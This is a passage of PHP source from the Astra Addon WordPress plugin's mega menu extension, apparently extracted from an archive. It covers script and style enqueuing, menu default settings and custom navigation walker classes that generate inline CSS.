'edit_theme_options' ) ) { global $pagenow; $rtl = ''; if ( is_rtl() ) { $rtl = '-rtl'; } if ( 'nav-menus.php' == $pagenow || 'widgets.php' == $pagenow ) { wp_enqueue_media(); wp_enqueue_style( 'wp-color-picker' ); /** * Localize wp-color-picker & wpColorPickerL10n. * * This is only needed in WordPress version >= 5.5 because wpColorPickerL10n has been removed. * * @see https://github.com/WordPress/WordPress/commit/7e7b70cd1ae5772229abb769d0823411112c748b * * This is should be removed once the issue is fixed from wp-color-picker-alpha repo. * @see https://github.com/kallookoo/wp-color-picker-alpha/issues/35 * * @since 2.6.3 */ global $wp_version; if ( version_compare( $wp_version, '5.4.99', '>=' ) ) { wp_localize_script( 'wp-color-picker', 'wpColorPickerL10n', array( 'clear' => __( 'Clear', 'astra-addon' ), 'clearAriaLabel' => __( 'Clear color', 'astra-addon' ), 'defaultString' => __( 'Default', 'astra-addon' ), 'defaultAriaLabel' => __( 'Select default color', 'astra-addon' ), 'pick' => __( 'Select Color', 'astra-addon' ), 'defaultLabel' => __( 'Color value', 'astra-addon' ), ) ); } if ( SCRIPT_DEBUG ) { wp_enqueue_style( 'astra-mm-opts-style', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/css/unminified/megamenu-options' . $rtl . '.css', array(), ASTRA_EXT_VER ); wp_enqueue_script( 'astra-megamenu-opts', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/js/unminified/megamenu-options.js', array( 'jquery', 'astra-color-alpha' ), ASTRA_EXT_VER, true ); } else { wp_enqueue_style( 'astra-mm-opts-style', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/css/minified/megamenu-options' . $rtl . '.min.css', array(), ASTRA_EXT_VER ); wp_enqueue_script( 'astra-megamenu-opts', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/js/minified/megamenu-options.min.js', array( 'jquery', 'astra-color-alpha' ), ASTRA_EXT_VER, true ); } $has_wp_block_suport = post_type_exists( 'wp_block' ); if ( $has_wp_block_suport ) { $select2_placeholder = __( 'Search Pages/ Posts / Reusable Blocks', 'astra-addon' ); } else { $select2_placeholder = __( 'Search Pages/ Posts', 'astra-addon' ); } wp_localize_script( 'astra-megamenu-opts', 'astMegamenuVars', array( 'select2_placeholder' => $select2_placeholder, 'saving_text' => __( 'Saving ..', 'astra-addon' ), 'saved_text' => __( 'Saved', 'astra-addon' ), ) ); } } } /** * Customizer Preview */ public function preview_scripts() { if ( SCRIPT_DEBUG ) { wp_enqueue_script( 'astra-ext-nav-menu-customize-preview-js', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/js/unminified/customizer-preview.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); } else { wp_enqueue_script( 'astra-ext-nav-menu-customize-preview-js', ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/js/minified/customizer-preview.min.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); } } /** * Function to modify navigation menu parameters. * * @param array $args navigation menu arguments. * @return array modified arguments. */ public function modify_nav_menu_args( $args ) { $mega_menu_custom_navmenus = apply_filters( 'astra_nav_mega_menu_support', array() ); if ( 'primary' == $args['theme_location'] || 'secondary_menu' == $args['theme_location'] || 'above_header_menu' == $args['theme_location'] || 'below_header_menu' == $args['theme_location'] || 'mobile_menu' == $args['theme_location'] || ( ! empty( $mega_menu_custom_navmenus ) && in_array( $args['theme_location'], $mega_menu_custom_navmenus ) ) ) { $args['walker'] = new Astra_Custom_Nav_Walker(); } return $args; } /** * Add Scripts Callback */ public function add_scripts() { /* Define Variables */ $uri = ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/js/'; $path = ASTRA_ADDON_EXT_NAV_MENU_DIR . 'assets/js/'; /* Directory and Extension */ $file_prefix = '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = ''; $dir_name = 'unminified'; } $js_uri = $uri . $dir_name . '/'; $js_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $js_uri; } else { $gen_path = $js_dir; } /*** End Path Logic */ Astra_Minify::add_dependent_js( 'jquery' ); Astra_Minify::add_js( $gen_path . 'mega-menu-frontend' . $file_prefix . '.js' ); } /** * Add Styles * * @since 1.6.0 * @return void */ public function add_styles() { /*** Start Path Logic */ /* Define Variables */ $uri = ASTRA_ADDON_EXT_NAV_MENU_URL . 'assets/css/'; $path = ASTRA_ADDON_EXT_NAV_MENU_DIR . 'assets/css/'; $rtl = ''; if ( is_rtl() ) { $rtl = '-rtl'; } /* Directory and Extension */ $file_prefix = $rtl . '.min'; $dir_name = 'minified'; if ( SCRIPT_DEBUG ) { $file_prefix = $rtl; $dir_name = 'unminified'; } $css_uri = $uri . $dir_name . '/'; $css_dir = $path . $dir_name . '/'; if ( defined( 'ASTRA_THEME_HTTP2' ) && ASTRA_THEME_HTTP2 ) { $gen_path = $css_uri; } else { $gen_path = $css_dir; } Astra_Minify::add_css( $gen_path . 'mega-menu' . $file_prefix . '.css' ); } /** * Append CSS style to class variable. * * @since 1.6.0 * @param string $style Inline style string. * @return void */ public static function add_css( $style ) { self::$mega_menu_style .= $style; } /** * Print inline CSS to footer. * * @since 1.6.0 * @return void */ public function megamenu_style() { if ( '' != self::$mega_menu_style ) { // Placeholder style. wp_enqueue_style( 'astra-addon-megamenu-dynamic' ); wp_add_inline_style( 'astra-addon-megamenu-dynamic', self::$mega_menu_style ); } } /** * Load customizer configuration file. * * @since 1.6.0 * @return void */ public function customize_register() { if ( astra_addon_existing_header_footer_configs() ) { // Primary Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-primary-header-layout.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-primary-header-typography.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-existing-nav-menu-primary-header-colors.php'; // Above Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-above-header-layout.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-above-header-typography.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-existing-nav-menu-above-header-colors.php'; // Below Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-below-header-layout.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-below-header-typography.php'; require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-existing-nav-menu-below-header-colors.php'; } // Primary Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-primary-header-colors.php'; // Above Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-above-header-colors.php'; // Below Header. require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/sections/class-astra-nav-menu-below-header-colors.php'; } /** * Parse post meta of particular passed key & return its value. * * @param array $post_meta Post meta of megamenu. * @param string $key Meta item key. * * @return mixed value of meta key. * @since 4.1.5 */ public static function get_post_meta( $post_meta, $key ) { return isset( $post_meta[ $key ][0] ) ? $post_meta[ $key ][0] : ''; } /** * Megamenu Defaults * * @param string $default_id Default id. * @param bool $menu_item_id Menu id. * @return mixed * @since 4.0.0 */ public static function get_megamenu_default( $default_id, $menu_item_id ) { $post_meta = get_post_meta( $menu_item_id ); /** * Default Spacing */ $default_spacing = array( 'desktop' => array( 'top' => '2', 'right' => '2', 'bottom' => '2', 'left' => '2', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); /** * Default Corner spacing */ $default_corner_spacing = array( 'desktop' => array( 'top-left' => '50', 'top-right' => '50', 'bottom-left' => '50', 'bottom-right' => '50', ), 'tablet' => array( 'top-left' => '', 'top-right' => '', 'bottom-left' => '', 'bottom-right' => '', ), 'mobile' => array( 'top-left' => '', 'top-right' => '', 'bottom-left' => '', 'bottom-right' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $megamenu_margin_top = self::get_post_meta( $post_meta, '_menu_item_megamenu_margin_top' ); $megamenu_margin_right = self::get_post_meta( $post_meta, '_menu_item_megamenu_margin_right' ); $megamenu_margin_bottom = self::get_post_meta( $post_meta, '_menu_item_megamenu_margin_bottom' ); $megamenu_margin_left = self::get_post_meta( $post_meta, '_menu_item_megamenu_margin_left' ); /** * Default margin values */ $default_megamenu_margin = array( 'desktop' => array( 'top' => $megamenu_margin_top ? $megamenu_margin_top : '', 'right' => $megamenu_margin_right ? $megamenu_margin_right : '', 'bottom' => $megamenu_margin_bottom ? $megamenu_margin_bottom : '', 'left' => $megamenu_margin_left ? $megamenu_margin_left : '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $megamenu_padding_top = self::get_post_meta( $post_meta, '_menu_item_megamenu_padding_top' ); $megamenu_padding_right = self::get_post_meta( $post_meta, '_menu_item_megamenu_padding_right' ); $megamenu_padding_bottom = self::get_post_meta( $post_meta, '_menu_item_megamenu_padding_bottom' ); $megamenu_padding_left = self::get_post_meta( $post_meta, '_menu_item_megamenu_padding_left' ); /** * Default padding values */ $default_megamenu_padding = array( 'desktop' => array( 'top' => $megamenu_padding_top ? $megamenu_padding_top : '', 'right' => $megamenu_padding_right ? $megamenu_padding_right : '', 'bottom' => $megamenu_padding_bottom ? $megamenu_padding_bottom : '', 'left' => $megamenu_padding_left ? $megamenu_padding_left : '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $default_icon = array( 'source' => 'none', 'icon' => '', 'image' => '', ); $megamenu_text_color_normal = self::get_post_meta( $post_meta, '_menu_item_megamenu_text_color' ); $megamenu_text_color_hover = self::get_post_meta( $post_meta, '_menu_item_megamenu_text_h_color' ); $default_text_link_color = array( 'normal' => $megamenu_text_color_normal ? $megamenu_text_color_normal : '', 'hover' => $megamenu_text_color_hover ? $megamenu_text_color_hover : '', ); $default_heading_color = array( 'normal' => '', 'hover' => '', ); $megamenu_width = self::get_post_meta( $post_meta, '_menu_item_megamenu_width' ); $megamenu_icon_source = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_source' ); $megamenu_icon_size = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_size' ); $megamenu_icon_spacing = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_spacing' ); $megamenu_icon_padding = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_padding' ); $megamenu_icon_primary_color = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_primary_color' ); $megamenu_icon_secondary_color = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_secondary_color' ); $megamenu_icon_border_width = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_border_width' ); $megamenu_icon_corner_radius = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_corner_radius' ); $megamenu_icon_position = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_position' ); $megamenu_icon_view = self::get_post_meta( $post_meta, '_menu_item_megamenu_icon_view' ); $megamenu_margin = self::get_post_meta( $post_meta, '_menu_item_megamenu_margin' ); $megamenu_padding = self::get_post_meta( $post_meta, '_menu_item_megamenu_padding' ); $megamenu_bg_type = self::get_post_meta( $post_meta, '_menu_item_megamenu_background_type' ); $megamenu_text_color = self::get_post_meta( $post_meta, '_menu_item_megamenu_text_color_group' ); $megamenu_heading_color = self::get_post_meta( $post_meta, '_menu_item_megamenu_heading_color_group' ); $megamenu_disable_title = self::get_post_meta( $post_meta, '_menu_item_megamenu_disable_title' ); $config = array( 'width' => $megamenu_width ? maybe_unserialize( $megamenu_width ) : 'content', 'icon_source' => $megamenu_icon_source ? maybe_unserialize( $megamenu_icon_source ) : $default_icon, 'icon_size' => $megamenu_icon_size ? maybe_unserialize( $megamenu_icon_size ) : 20, 'icon_spacing' => $megamenu_icon_spacing ? maybe_unserialize( $megamenu_icon_spacing ) : 5, 'icon_padding' => $megamenu_icon_padding ? maybe_unserialize( $megamenu_icon_padding ) : 5, 'icon_primary_color' => $megamenu_icon_primary_color ? maybe_unserialize( $megamenu_icon_primary_color ) : '', 'icon_secondary_color' => $megamenu_icon_secondary_color ? maybe_unserialize( $megamenu_icon_secondary_color ) : '', 'icon_border_width' => $megamenu_icon_border_width ? maybe_unserialize( $megamenu_icon_border_width ) : $default_spacing, 'icon_corner_radius' => $megamenu_icon_corner_radius ? maybe_unserialize( $megamenu_icon_corner_radius ) : $default_corner_spacing, 'icon_position' => $megamenu_icon_position ? maybe_unserialize( $megamenu_icon_position ) : 'before-label', 'icon_view' => $megamenu_icon_view ? maybe_unserialize( $megamenu_icon_view ) : 'default', 'margin' => $megamenu_margin ? maybe_unserialize( $megamenu_margin ) : $default_megamenu_margin, 'padding' => $megamenu_padding ? maybe_unserialize( $megamenu_padding ) : $default_megamenu_padding, 'bg_type' => $megamenu_bg_type ? maybe_unserialize( $megamenu_bg_type ) : 'image', 'text_color' => $megamenu_text_color ? maybe_unserialize( $megamenu_text_color ) : $default_text_link_color, 'heading_color' => $megamenu_heading_color ? maybe_unserialize( $megamenu_heading_color ) : $default_heading_color, 'disable_title' => $megamenu_disable_title ? maybe_unserialize( $megamenu_disable_title ) : '', ); return $config[ $default_id ]; } /** * Set Options Default Values * * @param array $defaults Astra options default value array. * @return array */ public function theme_defaults( $defaults ) { $astra_options = is_callable( 'Astra_Theme_Options::get_astra_options' ) ? Astra_Theme_Options::get_astra_options() : get_option( ASTRA_THEME_SETTINGS ); $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'menu' . $index; /** * Menu + Submenu Colors */ $defaults[ 'header-' . $_prefix . '-submenu-bg-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults[ 'header-' . $_prefix . '-submenu-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults[ 'header-' . $_prefix . '-submenu-h-bg-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults[ 'header-' . $_prefix . '-submenu-h-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults[ 'header-' . $_prefix . '-submenu-a-bg-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); $defaults[ 'header-' . $_prefix . '-submenu-a-color-responsive' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', ); /** * Submenu */ $defaults[ 'header-' . $_prefix . '-submenu-bg-color' ] = ''; $defaults[ 'header-' . $_prefix . '-submenu-color' ] = ''; $defaults[ 'header-' . $_prefix . '-submenu-h-bg-color' ] = ''; $defaults[ 'header-' . $_prefix . '-submenu-h-color' ] = ''; $defaults[ 'header-' . $_prefix . '-submenu-a-bg-color' ] = ''; $defaults[ 'header-' . $_prefix . '-submenu-a-color' ] = ''; /** * Sub Menu - Typography. */ $defaults[ 'header-font-size-' . $_prefix . '-sub-menu' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults[ 'header-font-family-' . $_prefix . '-sub-menu' ] = 'inherit'; $defaults[ 'header-font-weight-' . $_prefix . '-sub-menu' ] = 'inherit'; $defaults[ 'header-font-extras-' . $_prefix . '-sub-menu' ] = array( 'line-height' => ! isset( $astra_options[ 'header-font-extras-' . $_prefix . '-sub-menu' ] ) && isset( $astra_options[ 'header-line-height-' . $_prefix . '-sub-menu' ] ) ? $astra_options[ 'header-line-height-' . $_prefix . '-sub-menu' ] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options[ 'header-font-extras-' . $_prefix . '-sub-menu' ] ) && isset( $astra_options[ 'header-text-transform-' . $_prefix . '-sub-menu' ] ) ? $astra_options[ 'header-text-transform-' . $_prefix . '-sub-menu' ] : '', 'text-decoration' => '', ); if ( $index < 3 ) { /** * Mega Menu Spacing. */ $defaults[ 'header-' . $_prefix . '-megamenu-heading-space' ] = astra_addon_builder_helper()->default_responsive_spacing; $defaults[ 'header-' . $_prefix . '-header-megamenu-heading-space' ] = astra_addon_builder_helper()->default_responsive_spacing; /** * Mega Menu Color. */ $defaults[ 'header-' . $_prefix . '-header-megamenu-heading-color' ] = ''; $defaults[ 'header-' . $_prefix . '-header-megamenu-heading-h-color' ] = ''; /** * Mega Menu Typography. */ $defaults[ 'header-' . $_prefix . '-megamenu-heading-font-family' ] = 'inherit'; $defaults[ 'header-' . $_prefix . '-megamenu-heading-font-weight' ] = '700'; $defaults[ 'header-' . $_prefix . '-megamenu-heading-font-extras' ] = array( 'line-height' => '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options[ 'header-' . $_prefix . '-megamenu-heading-font-extras' ] ) && isset( $astra_options[ 'header-' . $_prefix . '-megamenu-heading-text-transform' ] ) ? $astra_options[ 'header-' . $_prefix . '-megamenu-heading-text-transform' ] : '', 'text-decoration' => '', ); $defaults[ 'header-' . $_prefix . '-megamenu-heading-font-size' ] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); } /** * Menu Spacing. */ $defaults[ 'header-' . $_prefix . '-spacing' ] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '20', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults[ 'header-' . $_prefix . '-submenu-spacing' ] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '0', 'right' => '20', 'bottom' => '0', 'left' => '30', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); } // Mobile Menu. /** * Submenu */ $defaults['header-mobile-menu-submenu-bg-color'] = ''; $defaults['header-mobile-menu-submenu-color'] = ''; $defaults['header-mobile-menu-submenu-h-bg-color'] = ''; $defaults['header-mobile-menu-submenu-h-color'] = ''; $defaults['header-mobile-menu-submenu-a-bg-color'] = ''; $defaults['header-mobile-menu-submenu-a-color'] = ''; $defaults['header-mobile-menu-submenu-spacing'] = astra_addon_builder_helper()->default_responsive_spacing; /** * Sub Menu - Typography. */ $defaults['header-font-size-mobile-menu-sub-menu'] = array( 'desktop' => '', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['header-font-family-mobile-menu-sub-menu'] = 'inherit'; $defaults['header-font-weight-mobile-menu-sub-menu'] = 'inherit'; $defaults['font-extras-mobile-menu-sub-menu'] = array( 'line-height' => ! isset( $astra_options['font-extras-mobile-menu-sub-menu'] ) && isset( $astra_options['header-line-height-mobile-menu-sub-menu'] ) ? $astra_options['header-line-height-mobile-menu-sub-menu'] : '', 'line-height-unit' => 'em', 'letter-spacing' => '', 'letter-spacing-unit' => 'px', 'text-transform' => ! isset( $astra_options['font-extras-mobile-menu-sub-menu'] ) && isset( $astra_options['header-text-transform-mobile-menu-sub-menu'] ) ? $astra_options['header-text-transform-mobile-menu-sub-menu'] : '', 'text-decoration' => '', ); // Above Header. $defaults['above-header-megamenu-heading-color'] = ''; $defaults['above-header-megamenu-heading-h-color'] = ''; $defaults['above-header-megamenu-heading-space'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['above-header-megamenu-heading-font-family'] = 'inherit'; $defaults['above-header-megamenu-heading-font-weight'] = '500'; $defaults['above-header-megamenu-heading-text-transform'] = ''; $defaults['above-header-megamenu-heading-font-size'] = array( 'desktop' => '1.1', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'em', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Primary Header. $defaults['primary-header-megamenu-heading-font-family'] = 'inherit'; $defaults['primary-header-megamenu-heading-font-weight'] = '700'; $defaults['primary-header-megamenu-heading-text-transform'] = ''; $defaults['primary-header-megamenu-heading-font-size'] = array( 'desktop' => '1.1', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'em', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['primary-header-megamenu-heading-color'] = ''; $defaults['primary-header-megamenu-heading-h-color'] = ''; $defaults['primary-header-megamenu-heading-space'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); // Above Header. $defaults['below-header-megamenu-heading-color'] = ''; $defaults['below-header-megamenu-heading-h-color'] = ''; $defaults['below-header-megamenu-heading-space'] = array( 'desktop' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'tablet' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'mobile' => array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ), 'desktop-unit' => 'px', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['below-header-megamenu-heading-font-family'] = 'inherit'; $defaults['below-header-megamenu-heading-font-weight'] = '500'; $defaults['below-header-megamenu-heading-text-transform'] = ''; $defaults['below-header-megamenu-heading-font-size'] = array( 'desktop' => '1.1', 'tablet' => '', 'mobile' => '', 'desktop-unit' => 'em', 'tablet-unit' => 'px', 'mobile-unit' => 'px', ); $defaults['sticky-above-header-megamenu-heading-color'] = ''; $defaults['sticky-above-header-megamenu-heading-h-color'] = ''; $defaults['sticky-below-header-megamenu-heading-color'] = ''; $defaults['sticky-below-header-megamenu-heading-h-color'] = ''; $defaults['sticky-primary-header-megamenu-heading-color'] = ''; $defaults['sticky-primary-header-megamenu-heading-h-color'] = ''; return $defaults; } } } Astra_Ext_Nav_Menu_Loader::get_instance(); class-astra-walker-nav-menu-edit-custom.php 0000666 00000003337 15165372345 0014761 0 ustar 00 <?php /** * Custom walker nav edit. * * @package Astra */ if ( ! class_exists( 'Astra_Walker_Nav_Menu_Edit_Custom' ) ) { /** * Create HTML list of nav menu input items. * * @since 1.6.0 */ // @codingStandardsIgnoreStart class Astra_Walker_Nav_Menu_Edit_Custom extends Walker_Nav_Menu_Edit { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Start the element output. * * @param string $output menu html. * @param object $item menu item object. * @param int $depth menu item depth. * @param object $args menu item args. * @param int $id menu item id. * * @since 1.6.0 */ public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) { $item_output = ''; parent::start_el( $item_output, $item, $depth, $args, $id ); $position = '<fieldset class="field-move'; $extra = $this->get_fields( $item, $depth, $args, $id ); $output .= str_replace( $position, $extra . $position, $item_output ); } /** * Add custom hook to add new field. * * @param object $item menu item object. * @param int $depth menu item depth. * @param object $args menu item args. * @param int $id menu item id. * @since 1.6.0 */ protected function get_fields( $item, $depth, $args = array(), $id = 0 ) { ob_start(); global $wp_version; $item_id = intval( $item->ID ); if ( version_compare( preg_replace( '/[^0-9\.]/', '', $wp_version ), '5.4', '<' ) ) { do_action( 'wp_nav_menu_item_custom_fields', $item_id, $item, $depth, $args ); } return ob_get_clean(); } } // Walker_Nav_Menu_Edit_Custom } class-astra-custom-nav-walker.php 0000666 00000106617 15165372345 0013101 0 ustar 00 <?php /** * Custom wp_nav_menu walker. * * @package Astra WordPress theme */ if ( ! class_exists( 'Astra_Custom_Nav_Walker' ) ) { /** * Astra custom navigation walker. * * @since 1.6.0 */ // @codingStandardsIgnoreStart class Astra_Custom_Nav_Walker extends Walker_Nav_Menu { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Use full width mega menu? * * @var string */ private $menu_megamenu_width = ''; /** * How many columns should the mega menu have? * * @var int */ private $num_of_columns = 0; /** * Menu item ID. * * @var int */ private $menu_megamenu_item_id = 0; /** * Starts the list before the elements are added. * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of menu item. Used for padding. * @param array $args An array of arguments. @see wp_nav_menu(). */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $style = array(); if ( 0 === $depth && '' != $this->megamenu && 'ast-hf-mobile-menu' !== $args->menu_id && 'ast-desktop-toggle-menu' !== $args->menu_id ) { if ( isset( $this->megamenu_text_color_group ) && '' != $this->megamenu_text_color_group ) { if ( isset( $this->megamenu_text_color_group['normal'] ) && $this->megamenu_text_color_group['normal'] ) { $style[ '.ast-desktop .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item > .menu-link, .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item .sub-menu > .menu-link, .ast-desktop .ast-container .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item:hover' ] = array( 'color' => $this->megamenu_text_color_group['normal'], ); } if ( isset( $this->megamenu_text_color_group['hover'] ) && $this->megamenu_text_color_group['hover'] ) { $style[ '.ast-container .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item .sub-menu .menu-item:hover, .ast-desktop .ast-container .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item .menu-link:hover, .ast-container .menu-item-' . $this->menu_megamenu_item_id . ' .menu-item .sub-menu .menu-link:hover' ] = array( 'color' => $this->megamenu_text_color_group['hover'], ); } } $megamenu_divider_class = ''; if ( isset( $this->megamenu_top_border_width ) && '' != $this->megamenu_top_border_width ) { $style[ '.ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu' ] = array( 'border-top-width' => $this->megamenu_top_border_width . 'px', ); } if ( isset( $this->megamenu_column_divider_width ) && '' != $this->megamenu_column_divider_width ) { $style[ '.ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu > .menu-item' ] = array( 'border-right-width' => $this->megamenu_column_divider_width . 'px', ); } if ( isset( $this->megamenu_top_border_color ) && '' != $this->megamenu_top_border_color ) { $style[ '.ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu' ] = array( 'border-color' => $this->megamenu_top_border_color, ); } if ( isset( $this->megamenu_column_divider_color ) && '' != $this->megamenu_column_divider_color ) { $megamenu_divider_class = ' astra-megamenu-has-divider'; $style[ '.ast-desktop .astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu > .menu-item' ] = array( 'border-right' => '1px solid ' . $this->megamenu_column_divider_color, ); } if ( isset( $this->megamenu_divider_style ) && '' != $this->megamenu_divider_style ) { $style[ '.ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu, .ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .astra-megamenu > .menu-item' ] = array( 'border-style' => $this->megamenu_divider_style, ); } if ( isset( $this->megamenu_margin_top ) && '' != $this->megamenu_margin_top ) { $style[ '.ast-hfb-header.ast-desktop .main-header-menu > .menu-item-' . $this->menu_megamenu_item_id . ' > .sub-menu:before' ] = array( 'height' => astra_calculate_spacing( $this->megamenu_margin_top . 'px', '+', '5', 'px' ), ); } if ( isset( $this->megamenu_heading_color_group ) && '' != $this->megamenu_heading_color_group ) { if ( isset( $this->megamenu_heading_color_group['normal'] ) && $this->megamenu_heading_color_group['normal'] ) { $style[ '.ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .menu-item-heading > .menu-link' ] = array( 'color' => $this->megamenu_heading_color_group['normal'], ); } if ( isset( $this->megamenu_heading_color_group['hover'] ) && $this->megamenu_heading_color_group['hover'] ) { $style[ '.ast-desktop li.astra-megamenu-li.menu-item-' . $this->menu_megamenu_item_id . ' .menu-item-heading > .menu-link:hover' ] = array( 'color' => $this->megamenu_heading_color_group['hover'], ); } } if ( isset( $this->megamenu_bg_type ) && ( isset( $this->megamenu_bg_image ) || isset( $this->megamenu_bg_gradient ) ) ) { if ( 'image' === $this->megamenu_bg_type ) { $bg_object = array( 'background-color' => $this->megamenu_bg_color, 'background-image' => $this->megamenu_bg_image, 'background-repeat' => $this->megamenu_bg_repeat, 'background-size' => $this->megamenu_bg_size, 'background-position' => 